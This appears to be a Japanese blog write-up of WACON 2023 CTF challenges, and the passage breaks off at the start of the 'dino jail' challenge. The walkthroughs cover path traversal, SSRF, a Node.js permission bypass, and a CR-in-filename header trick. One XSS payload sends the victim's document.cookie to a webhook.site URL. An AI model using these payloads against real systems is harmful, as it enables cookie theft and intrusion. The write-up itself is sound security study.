9/2 - 9/3という日程で開催された。?
というチームで出て16位。今回は後悔が多い。
主に自分で解いた問題
[Misc 100] mic check (47 solves)
Chatgpt-brewed problem
[+] flag format for this chall : WACON2023{[0-9a-f]+}
(URL)
問題サーバのURLだけが与えられている。ソースコードは提供されていない。とりあえずアクセスしてみるも、404が返ってきた。Server
ヘッダに Werkzeug/2.3.7 Python/3.8.18
という値が入っており、何かしら動的にやっているのかなという推測をする。この404が想定されている動作であるということはCTFのDiscordでアナウンスされており、ここから何かしらを推測する必要がある。
エスパーっぽい雰囲気のあるWeb問で困ったときには /robots.txt
を(なければ .well-known
や .git
なども)見ればよい。確認してみると、以下のような内容だった。
User-agent: * allow: /W/A/C/O/N/2/
アクセスしてみるが、やはり404が返ってくる。ただ、なんとなく末尾の /
を削って /W/A/C/O/N/2
にアクセスしてみると、同じ Not Found
という内容ではあるものの、ステータスコードは200であるレスポンスが返ってきた。ほかに色々試すと、/W/A/C/O/N
は200、/W/A/C/O/N/3
は404であった。
フラグフォーマットが WACON2023{…}
であることを考えると、パスから /
を取り除いた文字列がフラグの部分文字列であれば200を返し、そうでなければ404を返すという感じだろうか。スクリプトを書く。
import requests table = '{}0123456789abcdefghijklmnopqrstuvwxyz' target = 'http://58.225.56.196:5000/' flag = 'WACON' while not flag.endswith('}'): for c in table: tmp = flag + c path = '/'.join(list(tmp)) r = requests.get(f'{target}{path}') if r.status_code == 200: flag = tmp print(flag) break
実行するとフラグが得られた。
$ python3 solve.py … WACON2023{2060923e53fa205a48b2f9ad47d943c4}
WACON2023{2060923e53fa205a48b2f9ad47d943c4}
ほかのメンバーが解いた問題
[Web 100] mosaic (19 solves)
It looks weird...
(URL)
添付ファイル: for_user.zip
概要
ソースコードが与えられている。与えられたURLにアクセスすると、次のようなページが表示される。画像をアップロードしたり、アップロードした画像にモザイクをかけたりできるらしい。
適当なユーザ名で登録する。画像をアップロードすると uploads/omagarihare/deer.jpg
に配置されたというメッセージが表示された。
モザイクをかけるページに移る。image_url
なるものが要求される。
deer.jpg
を入力すると、先程アップロードした画像にモザイクをかけたものが表示された。なお、ここで参照されている画像は /static/uploads/omagarihare/9ce6d8bfbfc23dc7.jpeg
というようなパスになっている。
フラグの場所
フラグの場所を確認していく。フラグは画像の形で格納されており、これが本番サーバでは /flag.png
に配置されている。ローカルだと /test-flag.png
が代わりに配置されている。
if os.path.exists("/flag.png"): FLAG = "/flag.png" else: FLAG = "/test-flag.png"
こうして FLAG
にはフラグがあるパスが格納されているわけだけれども、どのように参照されているか見ていく。トップページにその処理があり、admin
としてログインしており、かつ 127.0.0.1
からのアクセスである場合に、このユーザが画像をアップロードした際に格納されるディレクトリにフラグの画像をコピーしてくるというような処理がなされている。
@app.route('/', methods=['GET']) def index(): if not session.get('logged_in'): return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a> <a href="/register">register</a>''' else: if session.get('username') == "admin" and request.remote_addr == "127.0.0.1": copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png') return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a> <a href="/mosaic">mosaic</a> <a href="/logout">logout</a>'''
admin
に関連する情報やコードは次の通り。admin
のパスワードは password.txt
というファイルに格納されているらしい。
try: with open("password.txt", "r") as pw_fp: ADMIN_PASSWORD = pw_fp.read() pw_fp.close() except: ADMIN_PASSWORD = "admin" … def init_db(): with app.app_context(): db = get_db() db.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT unique, password TEXT)") db.execute(f"INSERT INTO users (username, password) values('admin', '{hash(ADMIN_PASSWORD)}')") db.commit()
ところで、アップロードした画像は次のパスから取得できる。ただし、admin
の画像については本人しか閲覧できない。
@app.route('/check_upload/@<username>/<file>') def check_upload(username, file): if not session.get('logged_in'): return redirect(url_for('login')) if username == "admin" and session["username"] != "admin": return "Access Denied.." else: return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)
最終的な目標は flag.png
を手に入れるところにあるけれども、そのために admin
としてログインしたり、あるいは admin
としてログインした状態で 127.0.0.1
からトップページにアクセスする必要があることがわかった。そして、admin
としてログインするためには password.txt
の内容を取得するのが重要であることもわかった。
気になったところ
モザイク関連の処理は次の通り。なんか怪しいことをしているが、一つ一つ見ていく。まず mimetypes
で image_url
からファイルの形式を確認している。もし指定された image_url
がローカルのファイルシステムに存在するファイルであれば、そのまま imageio
の imread
で読み込まれる。http://
もしくは https://
から始まっている場合には対応していないというメッセージを返してそこで処理を中断する…が、これは Http://
のように大文字から始めることで回避できる。
ローカルにファイルが存在せず、かつ http://
や https://
で始まっていなければ、拡張子がPNG, JPEG, TIFF, ZIPのいずれかにあたるものである場合に限り、requests
で(ユーザが渡してきたCookieとともに)リモートから取得してきて、imageio.imread
に渡す。そして、これらの方法で取得した画像にモザイクをかける。
def type_check(guesstype): return guesstype in ["image/png", "image/jpeg", "image/tiff", "application/zip"] … @app.route('/mosaic', methods=['GET', 'POST']) def mosaic(): if not session.get('logged_in'): return redirect(url_for('login')) if request.method == 'POST': image_url = request.form.get('image_url') if image_url and "../" not in image_url and not image_url.startswith("/"): guesstype = mimetypes.guess_type(image_url)[0] ext = guesstype.split("/")[1] mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}') filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url) if os.path.isfile(filename): image = imageio.imread(filename) elif image_url.startswith("http://") or image_url.startswith("https://"): return "Not yet..! sry.." else: if type_check(guesstype): image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content image = imageio.imread(image_data) apply_mosaic(image, mosaic_path) return render_template("mosaic.html", mosaic_path = mosaic_path) else: return "Plz input image_url or Invalid image_url.." return render_template("mosaic.html")
この requests.get
が気になる。Http://localhost:9999/#hoge.png
のような image_url
を与えることでSSRFできるのではないか。そして、ユーザが持ってきたCookieをそのまま渡しているので、もし admin
としてログインできている場合には、127.0.0.1
からのアクセスということで、これで copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
という処理を引き起こすことができるのではないか。なるほど、これのために admin
としてログインする方法を探したい。
さて、別の箇所を見ていく。admin
というユーザ名で登録できないか考えるけれども、前述のテーブルを作成するためのSQLを見るとわかるように、ユーザ名は unique
だし、すでに admin
は登録されている。それ以外にユーザ登録関連でなにか悪さができないか、処理を見てみる。
ユーザ名が怪しくないかチェックして、ユーザ登録後にアップロード先やモザイクを作成した画像の保存先となるディレクトリを作成している。このユーザ名のチェックが怪しく、なぜか ^[a-zA-Z0-9]*$
と +
でなく *
を使っており、空のユーザ名でも登録できてしまう。os.mkdir
でコケるので登録時には500が返ってくるが、すでにDBに変更がコミットされた状態であるので、空のユーザ名でログインできるようになっている。
これで何が嬉しいかというと、本来画像のアップロード先は upload/(ユーザ名)
となるはずなのだけれども、ユーザ名が空であればここで upload/
にアップロードされるようになる。いや、言うほど嬉しくないかも。先ほど紹介した /check_upload/@<username>/<file>
で upload/
下にあるファイルを読めるというのもあるけれども、そもそももともと admin
を除いて任意のユーザのファイルが読めるし、upload/
直下にはファイルはないので、あまり意味がない。あとから考えるとユーザ名に .
を、ファイル名に admin/…
を指定することで admin
以外でも admin
のファイルを読めたなと思ったけれども、別の脆弱性が使えることを考えると意味がない。
なお、strip
されていないし、$
が使われているというあたりから admin\n
のように末尾に改行文字を加えたユーザ名も作成できるじゃんと思ったし、実際できたけれども、このアプリでは admin
と admin\n
は厳密に区別されるのでやはり無意味。
@app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] if not re.match('^[a-zA-Z0-9]*$', username): return "Plz use alphanumeric characters.." cur = get_db().cursor() cur.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, hash(password))) get_db().commit() os.mkdir(f"{UPLOAD_FOLDER}/{username}") os.mkdir(f"{MOSAIC_FOLDER}/{username}") return redirect(url_for('login')) return render_template("register.html")
このほかにも、imageio
でなにかできないか調べ、たとえばなぜZIPをわざわざ受け付けているのだろうというところから、シンボリックリンクが使えるのではないかと考えるも無理だとわかったり、Balsn CTF 2019 - Silhouettesという過去問でこのライブラリの脆弱性を使っている事例が見つかったけれども、当然すでに修正されているし、ほかに有用なものも見つからないし…という感じで悩んでいた。
解法
こんな感じで悩んでいたが、よいアイデアが浮かばず、休憩として少し寝ることにした。そして、私が寝ている間にメンバーのSihoon Leeさんが以下の手順で解いていた。
/check_upload/@../password.txt
でadmin
のパスワードを窃取- (色々)
/check_upload/@admin/flag.png
でフラグにアクセス
まず最初の password.txt
の閲覧だけれども、もう一度関連する処理を見てみる。なるほど、パスパラメータから与えられたユーザ名が実在しているかのチェックがなされていない。そして、upload/(ユーザ名)
にユーザ名として ..
が展開されることでPath Traversalができる。app.py
と同じディレクトリに password.txt
が存在しているので、これで admin
のパスワードが得られるのだ。
@app.route('/check_upload/@<username>/<file>') def check_upload(username, file): if not session.get('logged_in'): return redirect(url_for('login')) if username == "admin" and session["username"] != "admin": return "Access Denied.." else: return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)
得られたパスワードを使って admin
としてログインする。続いて、Http://localhost:9999/#hoge.png
を image_url
としてモザイク画像を生成させようとする。このリクエストに対してサーバは500を返すが、ちゃんとフラグが uploads/admin/flag.png
にコピーされているので問題ない。そして、/check_upload/@admin/flag.png
にアクセスすることでフラグの画像が得られた*1。
[Misc 113] Web? (16 solves)
Is this real web?
(URL)
添付ファイル: for_user.zip
概要
Node.jsのサンドボックス問。ソースコードから見ていく。色々処理があるけれども重要なのは /calc
なので、これを見る。パラメータとして expr
と opt
の2つを受け付ける。opt
は以降のコードの実行にあたって、ひとつだけNode.jsに渡されるオプションを指定できるというものだ。ここで指定できるオプションは、ロングオプションであること、--print
, --eval
, --allow-child-process
といった危険なオプションでないこと、A-Za-z,/*=-
の文字からなっていることという制約がある。
expr
だけれども、これは簡単にいうと node eval.js (expr)
というような形で、eval.js
にコマンドライン引数として渡される。この際、opt
から指定したオプションのほかに --experimental-permission
と --allow-fs-read=/app/*
というオプションが指定される。これはNode.jsが実験的に実装している*2、パーミッション機能を有効にし、そしてファイルの読み取りについて /app/
下に存在するものしか許されないように設定できるものだ。
const express = require("express"); const bodyParser = require("body-parser"); const session = require("express-session"); const child_process = require("child_process"); const crypto = require("crypto"); const random_bytes = size => crypto.randomBytes(size).toString(); const sha256 = plain => crypto.createHash("sha256").update(plain.toString()).digest("hex"); const users = new Map([ [], ]); const now = () => { return Math.floor(+new Date()/1000) } const checkoutTimes = new Map() const app = express(); app.use(bodyParser.json()); app.use( session({ cookie: { maxAge : 600000 }, secret: random_bytes(64), }) ); const loginHandler = (req, res, next) => { if(!req.session.uid) { return res.redirect("/") } next(); } app.all("/", (req, res) => { return res.json({ "msg" : "hello guest" }); }); app.post("/login", (req, res) => { const { username, password } = req.body; if ( typeof username !== "string" || typeof password !== "string" || username.length < 4 || password.length < 6) { return res.json({ msg: "invalid data" }); } if (users.has(username)) { if (users.get(username) === sha256(password)) { req.session.uid = username; return res.redirect("/"); } else { return res.json({ msg: "Invalid Password" }); } } else { users.set(username, sha256(password)); req.session.uid = username; return res.redirect("/"); } }); app.post("/calc", loginHandler, (req,res) => { if(checkoutTimes.has(req.ip) && checkoutTimes.get(req.ip)+1 > now()) { return res.json({ error: true, msg: "too fast"}) } checkoutTimes.set(req.ip,now()) const { expr, opt } = req.body; const args = ["--experimental-permission", "--allow-fs-read=/app/*"]; const badArg = ["--print", "-p", "--input-type", "--import", "-e", "--eval", "--allow-fs-write", "--allow-child-process", "-", "-C", "--conditions"] if (!expr || typeof expr !== "string" ) { return res.json({ msg: "invalid data" }); } if (opt) { if (!/^--[A-Za-z|,|\/|\*|\=|\-]+$/.test(opt) || badArg.includes(opt.trim())) { return res.json({ error: true, msg: "Invalid option" }); } args.push(opt, "eval.js", btoa(expr)); } args.push("eval.js", btoa(expr)); try { ps = child_process.spawnSync("node", args); result = ps.stdout.toString().trim(); if (result) { return res.type("text/plain").send(result) } return res.type("text/plain").send("Empty"); } catch (e) { console.log(e) return res.json({ "msg": "Nop" }) } }); app.listen(80);
eval.js
は次の通り。main.js
から渡ってきた expr
について、config
というファイルに格納されているNGな文字を含んでいなければ、eval
して出力するというものだ。
const fs = require("fs"); let filter = null; try { filter = fs.readFileSync("config").toString(); } catch {} const expr = atob(process.argv.pop()); const regex = new RegExp(filter); if (regex.test(expr)) { console.log("Nop"); } else { console.log(eval(expr)); }
config
は次の通り。四則演算しか実行させないぞという意思を感じる。
[^\+|\*|-|%|\/|\d+|0-9]
考えたこと
ほかのメンバーがこの問題に取り組んでいるところに途中から入ったが、eval.js
やこれの実行時に渡されるオプションを見て、もし config
の読み込みに失敗すればどうなるだろうと考えた。filter
の読み込みは以下のようにtry-catchで囲まれている。では読み込みに失敗するとどうなるかだけど、filter
は null
のままになり、そして new RegExp(filter)
は /null/
と等価になる。つまり、null
がコードに含まれていない限り弾かれない。
let filter = null; try { filter = fs.readFileSync("config").toString(); } catch {} const expr = atob(process.argv.pop()); const regex = new RegExp(filter);
ではどうやって config
の読み込みを失敗させるか。ここで相対パスが使われていることを利用して、たとえばカレントディレクトリを別の場所に変えることで読み込みを失敗させる、あるいは /etc/subversion/config
のように同じ config
だけれども異なるファイルを読み込ませるというのはどうかと考えた。もっとも、後者に関しては --allow-fs-read=/app/*
が邪魔してくるが。
解法
というようなアイデアを出したところ、qbeomさんが形にしてくれた。--allow-fs-read=/app/eval*,/flag*
というオプションを opt
として指定することで、--allow-fs-read=/app/*
を上書きするという方法だ。そして、eval.js
とフラグが書き込まれているファイルだけを読み込めるようにして、config
の読み込みは弾いていくと。
ミニマルな形で検証してみる。まずどのファイルの読み込みも禁止している状態でファイルへのアクセスを試みるが、次のように Access to this API has been restricted
というエラーが出ることがわかる。
user@15d9421b9401:/app$ node --experimental-permission -e "require('fs').readFileSync('/etc/passwd')" node:fs:599 const result = binding.open(pathModule.toNamespacedPath(path), ^ Error: Access to this API has been restricted at Object.openSync (node:fs:599:26) at Object.readFileSync (node:fs:470:35) at [eval]:1:15 at Script.runInThisContext (node:vm:122:12) at Object.runInThisContext (node:vm:298:38) at node:internal/process/execution:83:21 at [eval]-wrapper:6:24 at runScript (node:internal/process/execution:82:62) at evalScript (node:internal/process/execution:104:10) at node:internal/main/eval_string:50:3 { code: 'ERR_ACCESS_DENIED', permission: 'FileSystemRead', resource: '/etc/passwd' }
続いて、このエラーについてtry-catchで捕まえること(そして抑える)ができるものか検証する。ちゃんとcatchで捕まえられた。
user@15d9421b9401:/app$ node --experimental-permission -e "try { require('fs').readFileSync('/etc/passwd') } catch (e) { console.log('err:', e.message) }" err: Access to this API has been restricted
最後に、複数の --allow-fs-read
オプションが与えられた場合にどのような挙動を取るか確認する。なるほど、最後に現れるものが使われるっぽい。
user@15d9421b9401:/app$ node --experimental-permission --allow-fs-read=/tmp/* --allow-fs-read=/etc/* -e "console.log(require('fs').readFileSync('/etc/passwd'))" <Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 867 more bytes> user@15d9421b9401:/app$ node --experimental-permission --allow-fs-read=/etc/* --allow-fs-read=/tmp/* -e "console.log(require('fs').readFileSync('/etc/passwd'))" node:fs:599 const result = binding.open(pathModule.toNamespacedPath(path), ^ Error: Access to this API has been restricted at Object.openSync (node:fs:599:26) at Object.readFileSync (node:fs:470:35) at [eval]:1:27 at Script.runInThisContext (node:vm:122:12) at Object.runInThisContext (node:vm:298:38) at node:internal/process/execution:83:21 at [eval]-wrapper:6:24 at runScript (node:internal/process/execution:82:62) at evalScript (node:internal/process/execution:104:10) at node:internal/main/eval_string:50:3 { code: 'ERR_ACCESS_DENIED', permission: 'FileSystemRead', resource: '/etc/passwd' } Node.js v20.5.1
さて、最後に自分でもフラグを取得してみる。
import uuid import httpx with httpx.Client(base_url='http://58.229.185.29') as client: client.post('/login', json={ 'username': str(uuid.uuid4()), 'password': str(uuid.uuid4()) }) r = client.post('calc', json={ 'expr': 'fs.readFileSync("/flag.txt").toString()', 'opt': '--allow-fs-read=/app/eval*,/flag*' }) print(r.text)
実行するとフラグが得られた*3。
$ python3 solve.py WACON2023{9fd79a4784869ba4873aee15c94f15281fa0e26c606e0da6f34f158f46f40889}
WACON2023{9fd79a4784869ba4873aee15c94f15281fa0e26c606e0da6f34f158f46f40889}
競技中に解けなかった問題
[Web 213] warmup-revenge (12 solves)
I sometimes hate warm up. So, I made this challenge.
(URL)
添付ファイル: for_user.zip
WACON CMSというWebアプリ。ソースコードが添付されている。
概要
適当にユーザを作成してログインすると、Board, Myinfo, Note, Logoutという4つの項目があるメニューが表示された。まずもっとも単純なNoteから見ていく。これはいわゆるダイレクトメッセージを送れる機能で、送信するメッセージとメッセージを受け取るユーザのIDの2つの項目のみ入力ができる。
続いてMyinfo。その名の通り今ログインしているユーザの情報を閲覧できる。一応編集もできるのだけれども、パスワードの変更と Allow Note
の状態の切り替えしかできない。後者はそのままの意味で、チェックを入れている場合にはほかのユーザからDMを受け取ることができるし、入れていなければ拒否ができるというもの。
最後にこのCMSのメインとなる機能であるBoardを見ていく。これはNoteとは異なりパブリックにメッセージを投稿できる機能で、以下のようにほかのユーザが投稿したものも含めて、メッセージのリストが表示される。ただし、各メッセージには必ずパスワードが設定されており、それをクエリパラメータから pass=(パスワード)
と指定しないと閲覧できない。
Boardから入力可能な項目は次の通りで、メッセージのタイトル、内容、閲覧に必要なレベル、添付ファイル、パスワードの5つがある。このアプリに特別なものを見ていく。まずレベルだが、これはBoardで繰り返し投稿することで10回の投稿ごとにそのユーザのレベルが1上がるというもので、各メッセージではこれを元に閲覧可能なユーザを絞れる。パスワードは前述の通りで、メッセージを閲覧するために必要なものを設定できる。
フラグの場所を見ていく。docker-compose.yml
からこのアプリは bot
, webserver
, db
の3つのサービスからなることがわかるのだけれども、フラグは bot
で参照されている。Boardに投稿されたメッセージは通報できるのだけれども、bot
は通報されたメッセージをPuppeteer + 安定版のGoogle Chromeで確認する役割を果たす。
このbotの動作は次の通り。まずアプリに admin
としてログインした後に、FLAG
というCookieにフラグを設定して、通報されたメッセージを閲覧している。ここでCookieは HttpOnly
属性がfalseに設定されているため、JavaScript側から document.cookie
にアクセスするだけで取得できることがわかる。XSSさえ見つかれば勝ちだ。
let page = await browser.newPage(); await page.goto("http://webserver/login.php"); await page.waitForSelector('body') await page.focus('#username') await page.keyboard.type("admin", { delay: 10 }); await page.focus('#password') await page.keyboard.type("[REDACTED]", { delay: 10 }); await new Promise(resolve => setTimeout(resolve, 500)) await page.click('#submitBtn') await new Promise(resolve => setTimeout(resolve, 500)) page.setCookie({ "name": "FLAG", "value": flag, "domain": "webserver", "path": "/", "httpOnly": false, "sameSite": "Strict" }) console.log("url : ", url); await page.waitForNetworkIdle(); await page.goto(url, {waitUntil: 'load'}); await new Promise(resolve => setTimeout(resolve, 10000)) await page.close() await browser.close()
ただし、雑に <s>test</s>
のようなペイロードでBoardやNoteにメッセージを投稿しても、特殊文字が実体参照に置換されておりXSSができない。そもそもMySQLの初期化に使われるSQLを見るに admin
というユーザはDMを受け付けない(前述の Allow Note
にチェックが入っていない)ので、Boardなどそれ以外の機能でXSSに持ち込む必要がある。
なお、次の clean_html
という関数によってメッセージなどはサニタイズされているが、ENT_QUOTES
付きで htmlspecialchars
が使われているあたり、正面からは突破できそうにない。ユーザがコントロールできるパラメータが出力されている箇所をすべて確認したが、この clean_html
を通しているか、そもそも入力値の検証がなされているかでXSSは見つからなかった。
<?php … function clean_html($str) { return htmlspecialchars($str, ENT_QUOTES); }
添付ファイル関連の脆弱性?
先程触れた、Boardでメッセージにファイルを添付できる機能について見ていく。ボードの投稿先である board.php
にある、アップロード部分の実装は次の通り。60桁の16進数のファイル名をランダムに生成して、upload/
というディレクトリの下に保存している。このアップロード先のパスと、オリジナルのファイル名との2つの情報をDBに保存しているらしい。
なお、この upload/
はドキュメントルート下であるため、ランダムに生成されたファイル名さえわかれば、直接アクセスできる。Content-Type
ヘッダが付与されるわけではないので、MIME Sniffingを利用して適当に <!doctype html
から始まるファイルをアップロードしてやれば、そのファイルに直接アクセスするだけでXSSに持ち込める…のだけれども、残念なことにアップロード先のパスである file_path
はユーザから見える場所に出力されることはない。
<?php … if($_FILES['file']['tmp_name']){ if($_FILES['file']['size'] > 2097152){ die('File is too big'); } $file_name = bin2hex(random_bytes(30)); if(!move_uploaded_file($_FILES['file']['tmp_name'], './upload/' . $file_name)) die('Upload Fail'); $insert['file_path'] = './upload/' . $file_name; $insert['file_name'] = $_FILES['file']['name']; }
ダウンロード部分の実装は次の通り。download.php
という単独のファイルで実装されている。クエリパラメータの idx
にはBoardのメッセージのIDが入り、このIDに対応するメッセージに添付されているファイルを返す。Boardに投稿されたメッセージは閲覧にパスワードが必要なはずだけれども、こちらではなぜかパスワードの検証がなされておらず、パスワードを知らずとも誰でもすべてのメッセージの添付ファイルを確認できる。
ユーザエージェントによって挙動を変えるようだけれども、botはChromeのユーザエージェントをそのまま送信するはずなので、最後の else
だけを見ればよさそう。Content-Length
でファイルサイズを指定するほか、Content-Disposition
で inline
でなく attachment
を返して必ずダウンロードすることを指定しつつ、オリジナルのファイル名でダウンロードできるようにしている。そして、ファイルを読み出す。
<?php include('./config.php'); ob_end_clean(); if(!trim($_GET['idx'])) die('Not Found'); $query = array( 'idx' => $_GET['idx'] ); $file = fetch_row('board', $query); if(!$file) die('Not Found'); $filepath = $file['file_path']; $original = $file['file_name']; if(preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT']) && preg_match("/5\.5/", $_SERVER['HTTP_USER_AGENT'])) { header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"$original\""); header("content-transfer-encoding: binary"); } else if (preg_match("/Firefox/i", $_SERVER['HTTP_USER_AGENT'])){ header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"".basename($file['file_name'])."\""); header("content-description: php generated data"); } else { header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"$original\""); header("content-description: php generated data"); } header("pragma: no-cache"); header("expires: 0"); flush(); $fp = fopen($filepath, 'rb'); $download_rate = 10; while(!feof($fp)) { print fread($fp, round($download_rate * 1024)); flush(); usleep(1000); } fclose ($fp); flush(); ?>
ここに問題がある。アップロード時にもダウンロード時にもオリジナルのファイル名が怪しいものでないか検証しておらず、またダウンロード時に Content-Disposition
ヘッダでファイル名を指定する際に、何かしらのエスケープを行うことなく挿入している。Burp Suiteを使って、以下のようにシングルクォートを使って ".html
というファイルをアップロードしてみる。
curlで確認してみると、いい感じに Content-Disposition
ヘッダを破壊できていることが確認できた。
$ curl -i "http://localhost:8000/download.php?idx=82" … Content-Security-Policy: default-src 'self'; style-src 'self' https://stackpath.bootstrapcdn.com 'unsafe-inline'; script-src 'self'; img-src data: Content-Length: 1128 content-disposition: attachment; filename=""; hoge.html" content-description: php generated data …
ただ、これで何ができるだろうか。botはダウンロードしたファイルを開いてはくれないし、開いたところでローカルファイルであるから問題サーバとオリジンは別だし、SameSite
属性で Strict
が指定されているというのも面倒だし、そもそも ERR_ABORTED
を吐くしでもうちょっと考える必要がある。
Content-Disposition
の仕様や挙動を詳しく見ていく。MDNの解説やRFC 6266を見ると、最初にDisposition Type(inline
や attachment
)が来て、次にDisposition Parameter(filename
など)が来るという構造になっていることがわかる。今回はDisposition Parameterでインジェクションができる形だけれども、すでにDisposition Typeが attachment
に決まってしまっており、ここで改めて inline
を指定することはできない。ではほかに悪用が可能なDisposition Parameterがないかという話だけれども、filename
以外には filename*
ぐらいしかなさそう。
では実装はどうか。Chromiumのソースコードを見ていく。Content-Disposition
のパースは net/http/http_content_disposition.cc
の HttpContentDisposition::Parse
で行われる。まずDisposition Typeで次にDisposition Parameterを見ていくというのは仕様の通り。Disposition Parameterで filename
と filename*
以外のパラメータを指定できないかという話だけれども、やはりなさそう。filename
と filename*
が同時に存在する場合には後者が優先されるというのは面白い*4が、今回は有用でない。
その他、気になること
添付ファイル関連で怪しい挙動を見つけたはいいものの、XSSにつなげることはできなかった。仕方がないのでソースコードのすべてを確認していった。Boardのメッセージを表示するページでは、以下のように2つのJSファイルが読み込まれる。
<script src="./static/javascript/main.js"></script> … <a id="download" href="/download.php?idx=82">Download</a> … <script src='./static/javascript/auto.js'></script>
内容は次の通り。auto_download
がクエリパラメータで指定されている場合に、ページを開いて2秒後に自動で添付ファイルをダウンロードするという機能のようだ。リンクのクリックではなく、わざわざ href
属性を取得して window.open
で開くというのが気になるのだけれども、別にHTMLとして開いてくれるわけではなく、普通にダウンロードされた。botでも試したが同様だった。
function download() { window.open(document.getElementById("download").href); }
const urlParams = new URLSearchParams(window.location.search); var auto_download = urlParams.get('auto_download') ? 1 : 0 if(auto_download) { setTimeout(download, 2000); }
DBの操作周りが非常に怪しい実装になっており、以下のように頑張ってクエリを組み立てて UPDATE
やら SELECT
やらを行うようになっていた。CODEGATE CTF 2023 QualsのCalculatorで見たやつだ。今回も clean_sql
の中身は add_slashes
で怪しい*5のだけれども、これらの関数の実装や呼び出され方を見るに安全だった。
<?php function fetch_row($table, $query, $operator=''){ global $dbcon; $sql = 'SELECT * FROM '. $table; if($query){ $sql .= ' WHERE '; foreach ($query as $key => $value) { $sql .= "{$key}='".clean_sql($value)."' {$operator} "; } if($operator){ $sql = trim(substr($sql, 0, strrpos($sql, $operator))); } else{ $sql = trim($sql); } } $result = mysqli_query($dbcon, $sql); return mysqli_fetch_array($result, MYSQLI_ASSOC); } …
解法
ということでソースコードの隅から隅まで確認した。やっぱり download.php
が怪しいよなあと思いつつも結局解くことはできなかった。CTFのDiscordサーバでCTF終了後に共有されていた情報によれば、\r
(キャリッジリターン)をファイル名に含めることで Content-Disposition
が出力されなくなるらしい。
自分でも試してみる。以下のようにCRを含む \r.html
というファイル名でアップロードする。
確認すると、確かにレスポンスから Content-Disposition
が外れている。ア!!!!!!!!!!!!!!
これを使ってXSSに持ち込む。この問題では以下のようにCSPがヘッダに含まれているが、script-src 'self'
とJSの実行に関しては甘めで助かる。同じように適当にJSコードをアップロードしておいて、別にそれを script
で読み込むようにする。
Content-Security-Policy: default-src 'self'; style-src 'self' https://stackpath.bootstrapcdn.com 'unsafe-inline'; script-src 'self'; img-src data:
まずはファイル名は何でもよいので location.href="https://webhook.site/(省略)?"+document.cookie
というファイルをアップロードする。続いて、これを読み込む <script src="/download.php?idx=966"></script>
という内容のファイルを、CRを含む名前でアップロードする。後者のIDが 967
であれば、/download.php?idx=967
にアクセスすることでXSSが起こる。これを通報すると、フラグが来た。
WACON2023{b1b1e2b97fcfd419db87b61459d2e267}
なぜ見落としたのか
header
に改行文字を含む文字列が渡されると、CRLFインジェクションへの対策として何も出力されないというのは知っていた。競技中にもLFを含むファイル名(\n.html
)でアップロードするのをBurp Suiteで試していたけれども、どのタイミングかは分からないが、以下のようにLFが消されて Content-Disposition
もちゃんと出力される(されてしまう)という挙動を示すことを確認していた。でも、それで満足してCRは試していなかったか、あるいは試したけれども Content-Disposition
が消えていることを見落としたか。
どこでこのCRのみの場合とLFのみの場合での違いが生まれているのか。header("a: b\rc");
と header("a: b\nc");
の2つのPHPコードを実行してみると、いずれの場合でも a
ヘッダは出力されておらず、header
ではないとわかる。php-src
で PHP_FUNCTION(header)
を検索して実装を探し、ここから呼ばれている sapi_header_op
を確認すると、CRだろうがLFだろうが関係なくヘッダを送らないという処理が行われていることもわかる。
ではもっと前、たとえばファイルのアップロード時はどうか。以下のような検証用のコードを用意する。
<?php if (isset($_FILES['file'])) { var_dump($_FILES['file']); } ?> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file"> <button type="submit">Upload</button> </form>
Burp Suiteで \n.html
と \r.html
という名前のファイルをそれぞれアップロードしてみる。後者ではファイル名がCR含めそのまま保持されているが、前者では \n
が削除されて .html
だけになっていた。ここだ。
php-src
で multipart/form-data
をパースしている箇所を見てみると、どうやらCRLFだろうがLFだろうが同じ改行として解釈する(一方で、CR単体であれば改行として扱わない)という挙動を示すとわかる。また、ヘッダが複数行にまたがることも許容するので、Content-Disposition: form-data; name="file"; filename="(改行).html"
のようなヘッダも受け付ける。したがって、ファイル名が .html
であるというように解釈された。なぜCRとLFで挙動に差異が生まれるのか、またなぜCRでなければならないかがわかった。
かなり惜しいところまでいったにもかかわらず解けなかったことが非常に悔しかったので、なぜ解けなかったかというところまで調べた。面白い問題だったけれども、ソースコードが読みづらく、また解法には関わってこない謎の機能がこのアプリには多くあるという点がつらかった。
[Web 1000] dino jail (1 solve)
plz escape
You can connect to sever every 10 seconds
Note: Flag format is WACON{}
(問題サーバへの接続情報)
添付ファイル: dino.tar.xz
概要
ソースコードが与えられている。まずは Dockerfile
から。--allow-write
, --allow-read
, --allow-ffi
, --unstable
と色々ヤバそうなものを許可しつつ jail.js
を実行している。フラグの取得は /readflag
の実行によってできる。
FROM denoland/deno@sha256:b703c0e2f44c36fb00c11715f60bddcdddc465f22a9758b6e1430ec5584cc04b RUN apt update RUN apt install gcc -y COPY ./jail.js /jail.js COPY ./flag.txt /flag.txt COPY ./readflag.c /tmp/readflag.c RUN gcc -static -o /readflag /tmp/readflag.c RUN rm /tmp/readflag.c RUN chmod 444 /jail.js RUN chmod 400 /flag.txt RUN chown root /flag.txt /jail.js /readflag RUN chmod u+s /readflag ENTRYPOINT ["timeout","-s9","3","deno","run","--allow-write","--allow-read","--allow-ffi","--unstable","/jail.js"]
jail.js
